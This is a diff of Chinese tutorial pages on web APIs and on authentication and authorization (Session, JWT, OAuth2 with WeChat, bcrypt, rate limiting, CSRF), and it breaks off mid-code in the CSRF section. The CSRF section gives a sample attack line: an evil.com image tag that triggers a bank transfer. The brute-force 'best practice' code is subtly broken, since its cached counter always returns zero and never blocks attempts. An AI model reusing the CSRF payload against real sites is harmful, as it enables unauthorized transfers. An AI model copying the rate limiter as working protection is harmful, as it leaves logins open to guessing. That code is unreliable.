## HTTP vs SDK：自己跑腿还是让管家代办？
|
||||
|
||||
既然教程的重点是 AI 编程，我们就重点讲讲 Web API——这是你和 AI 模型打交道的主要方式。
|
||||
|
||||
你在教程里经常会看到两种调用方式：**HTTP** 和 **SDK**。很多人会被绕晕，其实很简单，就是**"自己跑腿"**和**"让管家代办"**的区别。
|
||||
|
||||
### HTTP API：自己跑腿
|
||||
|
||||
这是最原始的方式。就像你自己去餐厅，从头开始点菜。
|
||||
|
||||
所有编程语言都能用，甚至你在浏览器地址栏里敲一行字也是一种 HTTP 请求。
|
||||
|
||||
### SDK：让管家代办
|
||||
|
||||
SDK (Software Development Kit) 就像是餐厅派给你的专属管家。
|
||||
|
||||
你不需要自己填单子、贴邮票。你只需要跟管家说"来份宫保鸡丁"，管家会自己在后台帮你填单子、发请求、处理报错。
|
||||
|
||||
<RealWorldApiDemo />
|
||||
|
||||
> 能用 SDK 就用 SDK，把麻烦事留给别人，把时间留给自己。
|
||||
|
||||
## 怎么看 API 文档？
|
||||
|
||||
文档就像说明书和菜单的结合体。你不需要从头读到尾，只需要学会查字典。
|
||||
|
||||
打开任何一个 API 文档（比如 OpenAI 或 DeepSeek），你只需要找这几样东西：
|
||||
|
||||
1. **Base URL**：根地址（餐厅在哪？）
|
||||
2. **Authentication**：怎么证明你是会员？（通常是 `Authorization: Bearer sk-...`）
|
||||
3. **Endpoints**：具体的接口列表
|
||||
- `/v1/chat/completions` -> 对话（最常用的）
|
||||
- `/v1/images/generations` -> 画图
|
||||
4. **Parameters**：必填项有哪些？
|
||||
|
||||
<ApiDocumentDemo />
|
||||
|
||||
### 常见的"餐厅黑话"（状态码）
|
||||
|
||||
服务员（API）回复你的时候，通常会先喊一个数字代码：
|
||||
|
||||
| 状态码 | 含义 |
|
||||
|--------|------|
|
||||
| **200 OK** | 成功了 |
|
||||
| **400 Bad Request** | 你填错了 |
|
||||
| **401 Unauthorized** | 没权限 |
|
||||
| **404 Not Found** | 地址错了 |
|
||||
| **429 Too Many Requests** | 你点太快了 |
|
||||
| **500 Internal Server Error** | 对方服务器崩了 |
|
||||
|
||||
---
|
||||
|
||||
## 练手场：弄坏它也没关系
|
||||
|
||||
光说不练假把式。这里有个模拟 API，你可以随便填参数、随便改地址，看看会发生什么。
|
||||
|
||||
试着触发一下 401（假装没带钱）或者 404（瞎填地址）。
|
||||
|
||||
<ApiPlayground />
|
||||
|
||||
---
|
||||
|
||||
## 总结
|
||||
|
||||
别把 API 想得太复杂。在 AI 编程的时代，你只需要记住这几件事：
|
||||
|
||||
1. **API 就是传声筒**，帮你把话传给 AI 模型
|
||||
2. **你早就用过 API**了，从 `len()` 到 `open()`
|
||||
3. **Web API 是超能力**，让你调用千里之外的超级电脑
|
||||
4. **SDK 是好管家**，能用管家就别自己跑腿
|
||||
5. **看文档找三样**：地址、密钥、参数
|
||||
|
||||
这就够了。剩下的，交给 IDE 去写吧。
|
||||
|
||||
---
|
||||
|
||||
## 名词速查表 (Glossary)
|
||||
|
||||
| 名词 | 全称 | 解释 |
|
||||
|------|------|------|
|
||||
| **API** | Application Programming Interface | 应用程序编程接口，定义了软件之间如何交互 |
|
||||
| **Web API** | - | 基于 HTTP 协议的 API，用于网络通信 |
|
||||
| **Endpoint** | - | 端点，API 的具体地址 |
|
||||
| **HTTP** | HyperText Transfer Protocol | Web API 使用的通信协议 |
|
||||
| **GET** | - | 获取资源的方法 |
|
||||
| **POST** | - | 提交数据的方法 |
|
||||
| **SDK** | Software Development Kit | 软件开发工具包，封装了底层 API 调用 |
|
||||
| **URL** | Uniform Resource Locator | API 的网络地址 |
|
||||
| **JSON** | JavaScript Object Notation | 常用的数据格式 |
|
||||
| **Authentication** | - | 验证身份的过程 |
|
||||
| **Status Code** | - | HTTP 响应中的状态码 |
|
||||
| **Request** | - | 请求 |
|
||||
| **Response** | - | 响应 |
|
||||
| **Header** | - | HTTP 头，包含元信息 |
|
||||
| **Payload** | - | 请求或响应的实际数据 |
|
||||
| **Rate Limit** | - | 速率限制 |
|
||||
@@ -0,0 +1,3 @@
|
||||
# 异步任务队列与生产消费模型
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,924 @@
|
||||
# 认证与授权体系
|
||||
> 💡 **学习指南**：本章节带你深入理解后端系统的"门禁系统"——鉴权与授权。我们将从最基础的"你是谁"讲起，一步步掌握 Session、JWT、OAuth2.0 等现代鉴权方案。
|
||||
|
||||
<AuthEvolutionDemo />
|
||||
|
||||
## 0. 引言：系统的"门禁"
|
||||
|
||||
你登录微信后，为什么关掉再打开还是登录状态？
|
||||
你访问 B 站，为什么知道你是大会员还是普通用户？
|
||||
你用微信扫码登录第三方网站，为什么不用输入密码？
|
||||
|
||||
这背后都有一个核心系统：**鉴权与授权 (Authentication & Authorization)**。
|
||||
|
||||
如果把后端系统比作一栋大楼：
|
||||
|
||||
- **鉴权 (Authentication)**：确认"你是谁"（验证身份证/门禁卡）。
|
||||
- **授权 (Authorization)**：确认"你能去哪里"（VIP 能进 VIP 休息室，普通用户不行）。
|
||||
|
||||
### 0.1 为什么要鉴权？
|
||||
|
||||
只有一个理由：**保护资源**。
|
||||
|
||||
- **隐私保护**：你的个人信息、聊天记录，只有你能看。
|
||||
- **权限控制**：管理员可以删除用户，普通用户不行。
|
||||
- **防止滥用**：防止恶意调用、刷接口。
|
||||
|
||||
<AuthBasicsDemo />
|
||||
|
||||
### 0.2 交互式演示：登录流程
|
||||
|
||||
让我们通过一个真实的登录演示，来理解认证和授权是如何工作的。
|
||||
|
||||
<AuthInteractiveLoginDemo />
|
||||
|
||||
**关键点**：鉴权是第一道防线，所有敏感操作都必须先验证身份。
|
||||
|
||||
---
|
||||
|
||||
## 1. 基础概念：认证 vs 授权
|
||||
|
||||
### 1.1 认证 (Authentication)：你是谁？
|
||||
|
||||
确认用户的身份。
|
||||
|
||||
- _例子_：输入用户名密码、刷指纹、人脸识别。
|
||||
- _输出_：一个代表"你"的令牌（Token）。
|
||||
- _英文简称_：**AuthN**
|
||||
|
||||
### 1.2 授权 (Authorization)：你能干什么？
|
||||
|
||||
确认用户有哪些权限。
|
||||
|
||||
- _例子_：管理员可以删除文章，普通用户只能点赞。
|
||||
- _输出_：允许或拒绝访问。
|
||||
- _英文简称_：**AuthZ**
|
||||
|
||||
### 1.3 两者的关系
|
||||
|
||||
```
|
||||
用户请求 → 认证 (你是谁？) → 授权 (你能做吗？) → 执行业务逻辑
|
||||
↓ ↓
|
||||
验证身份 检查权限
|
||||
(Token 有效？) (有 delete 权限？)
|
||||
```
|
||||
|
||||
<AuthNvsAuthZDemo />
|
||||
|
||||
**关键点**：先认证，再授权。只有确认了"你是谁"，才能判断"你能干什么"。
|
||||
|
||||
---
|
||||
|
||||
## 2. 方案演进史
|
||||
|
||||
### 2.1 第一代：HTTP Basic Authentication
|
||||
|
||||
最古老的方案，直接把用户名密码放在 HTTP 头里。
|
||||
|
||||
```http
|
||||
GET /api/user/profile HTTP/1.1
|
||||
Host: example.com
|
||||
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
|
||||
(base64("username:password"))
|
||||
```
|
||||
|
||||
- **优点**：简单，所有浏览器都支持。
|
||||
- **缺点**：
|
||||
- 不安全（Base64 可解码，相当于明文）。
|
||||
- 每次请求都要传密码（容易被截获）。
|
||||
- 无法主动注销（除非关闭浏览器）。
|
||||
|
||||
**结论**：只适合内部测试工具，绝不用于生产环境。
|
||||
|
||||
### 2.2 第二代：Session + Cookie
|
||||
|
||||
Web 开发的经典方案。
|
||||
|
||||
**流程**：
|
||||
|
||||
```
|
||||
1. 用户登录 (POST /login)
|
||||
→ 服务器验证用户名密码
|
||||
→ 创建 Session（在服务器内存或 Redis）
|
||||
→ 返回 Set-Cookie: session_id=abc123
|
||||
|
||||
2. 后续请求
|
||||
→ 浏览器自动带上 Cookie: session_id=abc123
|
||||
→ 服务器根据 session_id 查找 Session
|
||||
→ 找到就认为"你是你"
|
||||
```
|
||||
|
||||
**代码示例**：
|
||||
|
||||
```python
|
||||
# 后端 (Python Flask)
|
||||
from flask import session, request
|
||||
|
||||
@app.route("/login", methods=["POST"])
|
||||
def login():
|
||||
username = request.json["username"]
|
||||
password = request.json["password"]
|
||||
|
||||
# 验证用户名密码
|
||||
user = db.authenticate(username, password)
|
||||
if user:
|
||||
# 创建 Session
|
||||
session["user_id"] = user.id
|
||||
session["role"] = user.role
|
||||
return {"status": "success"}
|
||||
else:
|
||||
return {"error": "用户名或密码错误"}, 401
|
||||
|
||||
@app.route("/api/admin/users")
|
||||
def get_users():
|
||||
# 检查 Session
|
||||
if "user_id" not in session:
|
||||
return {"error": "未登录"}, 401
|
||||
|
||||
# 检查权限
|
||||
if session.get("role") != "admin":
|
||||
return {"error": "权限不足"}, 403
|
||||
|
||||
# 执行业务逻辑
|
||||
users = db.get_all_users()
|
||||
return {"users": users}
|
||||
```
|
||||
|
||||
<SessionCookieDemo />
|
||||
|
||||
**优点**：
|
||||
|
||||
- 简单直观，易于理解。
|
||||
- 服务端可以主动注销（删除 Session）。
|
||||
|
||||
**缺点**：
|
||||
|
||||
- **服务器有状态**：需要存储 Session，多台服务器需要共享（如 Redis）。
|
||||
- **跨域困难**：Cookie 默认不能跨域（CORS 问题）。
|
||||
- **CSRF 攻击**：恶意网站可以冒用你的 Cookie。
|
||||
|
||||
**结论**：适合传统 Web 应用（服务器端渲染），不适合移动端和现代 SPA。
|
||||
|
||||
### 2.3 第三代：Token (JWT)
|
||||
|
||||
现代 Web 的主流方案。
|
||||
|
||||
**核心思想**：不在服务端存储状态，把用户信息加密成 Token，放在客户端。
|
||||
|
||||
**JWT 结构**：
|
||||
|
||||
```
|
||||
JWT = Header.Payload.Signature
|
||||
|
||||
例子:
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|
||||
|--------------------------------| |-----------------------------------------------| |----------------------------|
|
||||
Header Payload Signature
|
||||
```
|
||||
|
||||
- **Header**：算法信息（如 `{"alg": "HS256", "typ": "JWT"}`）。
|
||||
- **Payload**：用户信息（如 `{"user_id": 123, "role": "admin", "exp": 1616239022}`）。
|
||||
- **Signature**：签名（防篡改）。
|
||||
|
||||
**流程**：
|
||||
|
||||
```python
|
||||
# 1. 用户登录
|
||||
@app.route("/login", methods=["POST"])
|
||||
def login():
|
||||
username = request.json["username"]
|
||||
password = request.json["password"]
|
||||
|
||||
user = db.authenticate(username, password)
|
||||
if user:
|
||||
# 生成 JWT
|
||||
token = jwt.encode(
|
||||
{
|
||||
"user_id": user.id,
|
||||
"role": user.role,
|
||||
"exp": datetime.now() + timedelta(hours=24) # 24 小时过期
|
||||
},
|
||||
SECRET_KEY,
|
||||
algorithm="HS256"
|
||||
)
|
||||
return {"token": token}
|
||||
else:
|
||||
return {"error": "用户名或密码错误"}, 401
|
||||
|
||||
# 2. 后续请求
|
||||
@app.route("/api/admin/users")
|
||||
def get_users():
|
||||
# 从 Header 获取 Token
|
||||
auth_header = request.headers.get("Authorization")
|
||||
if not auth_header or not auth_header.startswith("Bearer "):
|
||||
return {"error": "未提供 Token"}, 401
|
||||
|
||||
token = auth_header.split(" ")[1]
|
||||
|
||||
try:
|
||||
# 验证并解析 Token
|
||||
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
|
||||
except jwt.ExpiredSignatureError:
|
||||
return {"error": "Token 已过期"}, 401
|
||||
except jwt.InvalidTokenError:
|
||||
return {"error": "Token 无效"}, 401
|
||||
|
||||
# 检查权限
|
||||
if payload.get("role") != "admin":
|
||||
return {"error": "权限不足"}, 403
|
||||
|
||||
# 执行业务逻辑
|
||||
users = db.get_all_users()
|
||||
return {"users": users}
|
||||
```
|
||||
|
||||
<JWTWorkflowDemo />
|
||||
|
||||
**优点**：
|
||||
|
||||
- **无状态**：服务端不存储 Session，易于横向扩展。
|
||||
- **跨域友好**：放在 Header 里，不受 Cookie 跨域限制。
|
||||
- **移动端友好**：原生 App 也能轻松使用。
|
||||
- **信息丰富**：Payload 可以存用户信息、权限等。
|
||||
|
||||
**缺点**：
|
||||
|
||||
- **无法主动注销**：Token 一旦签发，在过期前一直有效（除非用黑名单）。
|
||||
- **Payload 可见**：Base64 编码，不能存敏感信息（如密码）。
|
||||
- **Token 过大**：每次请求都要带上，几百字节。
|
||||
|
||||
**结论**：现代 Web 和移动端的标准方案。
|
||||
|
||||
<SessionVsJWTDemo />
|
||||
|
||||
---
|
||||
|
||||
## 3. OAuth 2.0：第三方登录
|
||||
|
||||
你肯定见过这个按钮："使用微信登录"、"使用 Google 登录"。
|
||||
|
||||
这就是 **OAuth 2.0**：一个**授权**框架（不是认证！）。
|
||||
|
||||
### 3.1 核心角色
|
||||
|
||||
| 角色 | 说明 | 例子 |
|
||||
| :----------------------- | :----------------- | :----------------- |
|
||||
| **Resource Owner** | 资源所有者（用户） | 你 |
|
||||
| **Client** | 第三方应用 | 某个网站 |
|
||||
| **Authorization Server** | 授权服务器 | 微信、Google |
|
||||
| **Resource Server** | 资源服务器 | 微信的用户信息 API |
|
||||
|
||||
### 3.2 授权码模式 (Authorization Code Flow)
|
||||
|
||||
最安全的模式，适合有后端的服务器。
|
||||
|
||||
**流程**：
|
||||
|
||||
```
|
||||
1. 用户点击"使用微信登录"
|
||||
→ 跳转到微信授权页面
|
||||
https://open.weixin.qq.com/connect/qrconnect?
|
||||
appid=APPID&
|
||||
redirect_uri=https://yourapp.com/callback&
|
||||
response_type=code&
|
||||
scope=snsapi_login&
|
||||
state=STATE
|
||||
|
||||
2. 用户扫码并同意授权
|
||||
→ 微信重定向回你的网站
|
||||
https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE
|
||||
|
||||
3. 你的后端用 code 换取 access_token
|
||||
POST https://api.weixin.qq.com/sns/oauth2/access_token
|
||||
{
|
||||
"appid": "APPID",
|
||||
"secret": "SECRET",
|
||||
"code": "AUTHORIZATION_CODE",
|
||||
"grant_type": "authorization_code"
|
||||
}
|
||||
→ 返回: { "access_token": "...", "openid": "..." }
|
||||
|
||||
4. 用 access_token 获取用户信息
|
||||
GET https://api.weixin.qq.com/sns/userinfo?
|
||||
access_token=ACCESS_TOKEN&
|
||||
openid=OPENID
|
||||
→ 返回: { "nickname": "张三", "headimgurl": "..." }
|
||||
```
|
||||
|
||||
<OAuth2FlowDemo />
|
||||
|
||||
**代码示例**：
|
||||
|
||||
```python
|
||||
from flask import request, redirect
|
||||
|
||||
@app.route("/login/wechat")
|
||||
def login_wechat():
|
||||
# 1. 重定向到微信授权页面
|
||||
auth_url = (
|
||||
"https://open.weixin.qq.com/connect/qrconnect"
|
||||
f"?appid={APPID}"
|
||||
f"&redirect_uri={urlencode(REDIRECT_URI)}"
|
||||
"&response_type=code"
|
||||
"&scope=snsapi_login"
|
||||
f"&state={generate_state()}"
|
||||
)
|
||||
return redirect(auth_url)
|
||||
|
||||
@app.route("/callback")
|
||||
def wechat_callback():
|
||||
# 2. 获取 code
|
||||
code = request.args.get("code")
|
||||
state = request.args.get("state")
|
||||
|
||||
# 验证 state（防 CSRF）
|
||||
if not verify_state(state):
|
||||
return {"error": "Invalid state"}, 400
|
||||
|
||||
# 3. 用 code 换取 access_token
|
||||
token_resp = requests.post(
|
||||
"https://api.weixin.qq.com/sns/oauth2/access_token",
|
||||
params={
|
||||
"appid": APPID,
|
||||
"secret": SECRET,
|
||||
"code": code,
|
||||
"grant_type": "authorization_code"
|
||||
}
|
||||
).json()
|
||||
|
||||
access_token = token_resp["access_token"]
|
||||
openid = token_resp["openid"]
|
||||
|
||||
# 4. 获取用户信息
|
||||
user_info = requests.get(
|
||||
"https://api.weixin.qq.com/sns/userinfo",
|
||||
params={
|
||||
"access_token": access_token,
|
||||
"openid": openid
|
||||
}
|
||||
).json()
|
||||
|
||||
# 5. 本地创建或更新用户
|
||||
user = db.get_or_create_user(
|
||||
openid=openid,
|
||||
nickname=user_info["nickname"],
|
||||
avatar=user_info["headimgurl"]
|
||||
)
|
||||
|
||||
# 6. 生成本系统的 JWT
|
||||
token = jwt.encode(
|
||||
{"user_id": user.id, "exp": ...},
|
||||
SECRET_KEY
|
||||
)
|
||||
|
||||
return {"token": token}
|
||||
```
|
||||
|
||||
**关键点**：
|
||||
|
||||
- **code 只能用一次**：用完即失效，防止截获。
|
||||
- **state 防 CSRF**：生成随机字符串，回调时验证，防止恶意网站伪造。
|
||||
- **redirect_uri 必须匹配**：提前在微信开放平台注册，防止重定向攻击。
|
||||
|
||||
### 3.3 其他模式
|
||||
|
||||
| 模式 | 适用场景 | 安全性 |
|
||||
| :---------------------------------- | :--------------------------- | :--------------- |
|
||||
| **授权码模式** | 有后端的服务器 | ⭐⭐⭐⭐⭐ |
|
||||
| **简化模式 (Implicit)** | 纯前端应用（SPA） | ⭐⭐⭐（不推荐） |
|
||||
| **密码模式 (Resource Owner)** | 高度信任的应用（如官方 App） | ⭐⭐ |
|
||||
| **客户端模式 (Client Credentials)** | 服务器间通信（无用户） | ⭐⭐⭐⭐ |
|
||||
|
||||
<OAuth2ModesDemo />
|
||||
|
||||
---
|
||||
|
||||
## 4. 实战：设计一个完整的鉴权系统
|
||||
|
||||
### 4.1 需求分析
|
||||
|
||||
- **多端支持**：Web、iOS、Android。
|
||||
- **第三方登录**：微信、Google。
|
||||
- **权限控制**：普通用户、VIP、管理员。
|
||||
- **安全**：防刷、防劫持、防重放。
|
||||
|
||||
### 4.2 架构设计
|
||||
|
||||
```
|
||||
┌─────────────┐
|
||||
│ 客户端 │
|
||||
└──────┬──────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────┐
|
||||
│ API Gateway │
|
||||
│ - Rate Limiting (限流) │
|
||||
│ - Token Validation (校验) │
|
||||
└──────┬──────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────┐
|
||||
│ Auth Service (鉴权服务) │
|
||||
│ - 注册、登录 │
|
||||
│ - Token 签发与验证 │
|
||||
│ - OAuth 2.0 集成 │
|
||||
└──────┬──────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────┐
|
||||
│ Business Services │
|
||||
│ - User Service │
|
||||
│ - Order Service │
|
||||
│ - Payment Service │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 4.3 数据库设计
|
||||
|
||||
```sql
|
||||
-- 用户表
|
||||
CREATE TABLE users (
|
||||
id BIGINT PRIMARY KEY AUTO_INCREMENT,
|
||||
username VARCHAR(50) UNIQUE NOT NULL,
|
||||
password_hash VARCHAR(255) NOT NULL, -- bcrypt 哈希
|
||||
email VARCHAR(100) UNIQUE,
|
||||
role ENUM('user', 'vip', 'admin') DEFAULT 'user',
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
|
||||
INDEX idx_username (username),
|
||||
INDEX idx_email (email)
|
||||
);
|
||||
|
||||
-- 第三方登录绑定表
|
||||
CREATE TABLE user_auth_providers (
|
||||
id BIGINT PRIMARY KEY AUTO_INCREMENT,
|
||||
user_id BIGINT NOT NULL,
|
||||
provider ENUM('wechat', 'google', 'github') NOT NULL,
|
||||
provider_user_id VARCHAR(100) NOT NULL, -- 第三方的用户 ID
|
||||
access_token TEXT, -- 加密存储
|
||||
refresh_token TEXT,
|
||||
expires_at TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
|
||||
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
-- Token 黑名单（用于主动注销）
|
||||
CREATE TABLE token_blacklist (
|
||||
id BIGINT PRIMARY KEY AUTO_INCREMENT,
|
||||
token_jti VARCHAR(100) UNIQUE NOT NULL, -- JWT 的 JTI (唯一标识)
|
||||
expired_at TIMESTAMP NOT NULL,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
INDEX idx_expired_at (expired_at)
|
||||
);
|
||||
```
|
||||
|
||||
<AuthDatabaseDemo />
|
||||
|
||||
### 4.4 代码实现
|
||||
|
||||
```python
|
||||
# auth_service.py
|
||||
import bcrypt
|
||||
import jwt
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
SECRET_KEY = "your-secret-key-here" # 生产环境用环境变量
|
||||
|
||||
class AuthService:
|
||||
def register(self, username: str, password: str, email: str = None):
|
||||
# 1. 检查用户名是否存在
|
||||
if db.get_user_by_username(username):
|
||||
raise ValueError("用户名已存在")
|
||||
|
||||
# 2. 哈希密码（bcrypt）
|
||||
password_hash = bcrypt.hashpw(
|
||||
password.encode('utf-8'),
|
||||
bcrypt.gensalt(rounds=12)
|
||||
).decode('utf-8')
|
||||
|
||||
# 3. 创建用户
|
||||
user = db.create_user(
|
||||
username=username,
|
||||
password_hash=password_hash,
|
||||
email=email
|
||||
)
|
||||
|
||||
# 4. 签发 Token
|
||||
return self._generate_tokens(user)
|
||||
|
||||
def login(self, username: str, password: str):
|
||||
# 1. 查询用户
|
||||
user = db.get_user_by_username(username)
|
||||
if not user:
|
||||
raise ValueError("用户名或密码错误")
|
||||
|
||||
# 2. 验证密码
|
||||
if not bcrypt.checkpw(
|
||||
password.encode('utf-8'),
|
||||
user.password_hash.encode('utf-8')
|
||||
):
|
||||
raise ValueError("用户名或密码错误")
|
||||
|
||||
# 3. 签发 Token
|
||||
return self._generate_tokens(user)
|
||||
|
||||
def _generate_tokens(self, user):
|
||||
now = datetime.now()
|
||||
|
||||
# Access Token (短期，如 1 小时)
|
||||
access_token = jwt.encode(
|
||||
{
|
||||
"user_id": user.id,
|
||||
"role": user.role,
|
||||
"type": "access",
|
||||
"iat": now,
|
||||
"exp": now + timedelta(hours=1),
|
||||
"jti": str(uuid4()) # 唯一标识
|
||||
},
|
||||
SECRET_KEY,
|
||||
algorithm="HS256"
|
||||
)
|
||||
|
||||
# Refresh Token (长期，如 30 天)
|
||||
refresh_token = jwt.encode(
|
||||
{
|
||||
"user_id": user.id,
|
||||
"type": "refresh",
|
||||
"iat": now,
|
||||
"exp": now + timedelta(days=30),
|
||||
"jti": str(uuid4())
|
||||
},
|
||||
SECRET_KEY,
|
||||
algorithm="HS256"
|
||||
)
|
||||
|
||||
return {
|
||||
"access_token": access_token,
|
||||
"refresh_token": refresh_token,
|
||||
"token_type": "Bearer",
|
||||
"expires_in": 3600 # access_token 过期时间（秒）
|
||||
}
|
||||
|
||||
def refresh(self, refresh_token: str):
|
||||
try:
|
||||
payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
|
||||
if payload.get("type") != "refresh":
|
||||
raise ValueError("Invalid token type")
|
||||
|
||||
user = db.get_user_by_id(payload["user_id"])
|
||||
return self._generate_tokens(user)
|
||||
except jwt.ExpiredSignatureError:
|
||||
raise ValueError("Refresh token 已过期")
|
||||
except jwt.InvalidTokenError:
|
||||
raise ValueError("Refresh token 无效")
|
||||
|
||||
def logout(self, token: str):
|
||||
# 将 Token 加入黑名单
|
||||
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
|
||||
db.add_to_blacklist(
|
||||
jti=payload["jti"],
|
||||
expired_at=datetime.fromtimestamp(payload["exp"])
|
||||
)
|
||||
|
||||
def verify_token(self, token: str):
|
||||
try:
|
||||
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
|
||||
|
||||
# 检查是否在黑名单中
|
||||
if db.is_token_blacklisted(payload["jti"]):
|
||||
raise ValueError("Token 已注销")
|
||||
|
||||
return payload
|
||||
except jwt.ExpiredSignatureError:
|
||||
raise ValueError("Token 已过期")
|
||||
except jwt.InvalidTokenError:
|
||||
raise ValueError("Token 无效")
|
||||
|
||||
# API 装饰器
|
||||
def require_auth(auth_service: AuthService):
|
||||
def decorator(f):
|
||||
def wrapper(*args, **kwargs):
|
||||
# 从 Header 获取 Token
|
||||
auth_header = request.headers.get("Authorization")
|
||||
if not auth_header or not auth_header.startswith("Bearer "):
|
||||
return {"error": "未提供 Token"}, 401
|
||||
|
||||
token = auth_header.split(" ")[1]
|
||||
|
||||
try:
|
||||
# 验证 Token
|
||||
payload = auth_service.verify_token(token)
|
||||
# 将用户信息注入到请求上下文
|
||||
request.user = payload
|
||||
return f(*args, **kwargs)
|
||||
except ValueError as e:
|
||||
return {"error": str(e)}, 401
|
||||
|
||||
return wrapper
|
||||
return decorator
|
||||
|
||||
def require_role(*roles):
|
||||
def decorator(f):
|
||||
def wrapper(*args, **kwargs):
|
||||
if not hasattr(request, "user"):
|
||||
return {"error": "未登录"}, 401
|
||||
|
||||
if request.user["role"] not in roles:
|
||||
return {"error": "权限不足"}, 403
|
||||
|
||||
return f(*args, **kwargs)
|
||||
return wrapper
|
||||
return decorator
|
||||
|
||||
# 使用示例
|
||||
@app.route("/api/admin/users", methods=["GET"])
|
||||
@require_auth(auth_service)
|
||||
@require_role("admin")
|
||||
def get_users():
|
||||
users = db.get_all_users()
|
||||
return {"users": users}
|
||||
|
||||
@app.route("/api/user/profile", methods=["GET"])
|
||||
@require_auth(auth_service)
|
||||
def get_profile():
|
||||
user = db.get_user_by_id(request.user["user_id"])
|
||||
return {"user": user}
|
||||
|
||||
@app.route("/auth/refresh", methods=["POST"])
|
||||
def refresh_token():
|
||||
refresh_token = request.json.get("refresh_token")
|
||||
try:
|
||||
tokens = auth_service.refresh(refresh_token)
|
||||
return tokens
|
||||
except ValueError as e:
|
||||
return {"error": str(e)}, 401
|
||||
```
|
||||
|
||||
<CompleteAuthSystemDemo />
|
||||
|
||||
---
|
||||
|
||||
## 5. 安全最佳实践
|
||||
|
||||
### 5.1 密码存储
|
||||
|
||||
**❌ 错误做法**：
|
||||
|
||||
```python
|
||||
# 明文存储（绝对不行！）
|
||||
db.save_password(username, password)
|
||||
|
||||
# MD5 / SHA1 哈希（不够安全，容易被彩虹表破解）
|
||||
hash = md5(password)
|
||||
db.save_password(username, hash)
|
||||
```
|
||||
|
||||
**✅ 正确做法**：
|
||||
|
||||
```python
|
||||
# bcrypt（自适应哈希，慢哈希防暴力破解）
|
||||
import bcrypt
|
||||
|
||||
password_hash = bcrypt.hashpw(
|
||||
password.encode('utf-8'),
|
||||
bcrypt.gensalt(rounds=12) # rounds 越大越安全，但也越慢
|
||||
)
|
||||
|
||||
# 验证
|
||||
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
|
||||
# 密码正确
|
||||
```
|
||||
|
||||
**为什么 bcrypt？**
|
||||
|
||||
- **慢**：故意设计得很慢（毫秒级），防暴力破解。
|
||||
- **自适应**：可以调整 rounds，随硬件变强而增强。
|
||||
- **加盐**：自带随机盐，防彩虹表。
|
||||
|
||||
<PasswordHashingDemo />
|
||||
|
||||
### 5.2 防暴力破解
|
||||
|
||||
- **限流**：同一个 IP / 用户名，1 分钟只能试 5 次。
|
||||
- **验证码**：失败 3 次后要求输入验证码。
|
||||
- **账号锁定**：失败 10 次后锁定账号 30 分钟。
|
||||
|
||||
```python
|
||||
from functools import lru_cache
|
||||
import time
|
||||
|
||||
@lru_cache(maxsize=10000)
|
||||
def get_login_attempts(identifier: str) -> tuple:
|
||||
"""返回 (尝试次数, 第一次尝试时间)"""
|
||||
return (0, 0)
|
||||
|
||||
def check_rate_limit(identifier: str):
|
||||
attempts, first_attempt = get_login_attempts(identifier)
|
||||
now = time.time()
|
||||
|
||||
# 1 分钟内清零
|
||||
if now - first_attempt > 60:
|
||||
get_login_attempts.cache_clear()
|
||||
return True
|
||||
|
||||
# 超过 5 次，拒绝
|
||||
if attempts >= 5:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def record_login_attempt(identifier: str):
|
||||
attempts, first_attempt = get_login_attempts(identifier)
|
||||
if attempts == 0:
|
||||
first_attempt = time.time()
|
||||
get_login_attempts.cache_clear()
|
||||
get_login_attempts(identifier) # 重新缓存
|
||||
|
||||
@app.route("/login", methods=["POST"])
|
||||
def login():
|
||||
username = request.json["username"]
|
||||
|
||||
# 检查限流
|
||||
if not check_rate_limit(username):
|
||||
return {"error": "尝试次数过多，请 1 分钟后再试"}, 429
|
||||
|
||||
password = request.json["password"]
|
||||
|
||||
# 验证密码
|
||||
user = db.get_user_by_username(username)
|
||||
if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
|
||||
# 登录成功，清空计数
|
||||
get_login_attempts.cache_clear()
|
||||
return {"token": generate_token(user)}
|
||||
else:
|
||||
# 登录失败，记录
|
||||
record_login_attempt(username)
|
||||
return {"error": "用户名或密码错误"}, 401
|
||||
```
|
||||
|
||||
### 5.3 防 CSRF (Cross-Site Request Forgery)
|
||||
|
||||
**攻击场景**：
|
||||
你登录了银行网站 `bank.com`，然后访问了恶意网站 `evil.com`。`evil.com` 的页面里有一段代码：
|
||||
|
||||
```html
|
||||
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />
|
||||
```
|
||||
|
||||
你的浏览器会带上银行的 Cookie 发起这个请求（跨域请求），导致资金被转走。
|
||||
|
||||
**防御措施**：
|
||||
|
||||
1. **CSRF Token**：
|
||||
- 服务端生成随机 Token，放在表单里。
|
||||
- 提交时验证 Token 是否匹配。
|
||||
|
||||
```python
|
||||
from flask import session
|
||||
|
||||
@app.route("/api/transfer", methods=["POST"])
|
||||
def transfer():
|
||||
# 验证 CSRF Token
|
||||
token = request.headers.get("X-CSRF-Token")
|
||||
if token != session.get("csrf_token"):
|
||||
return {"error": "CSRF Token 无效"}, 403
|
||||
|
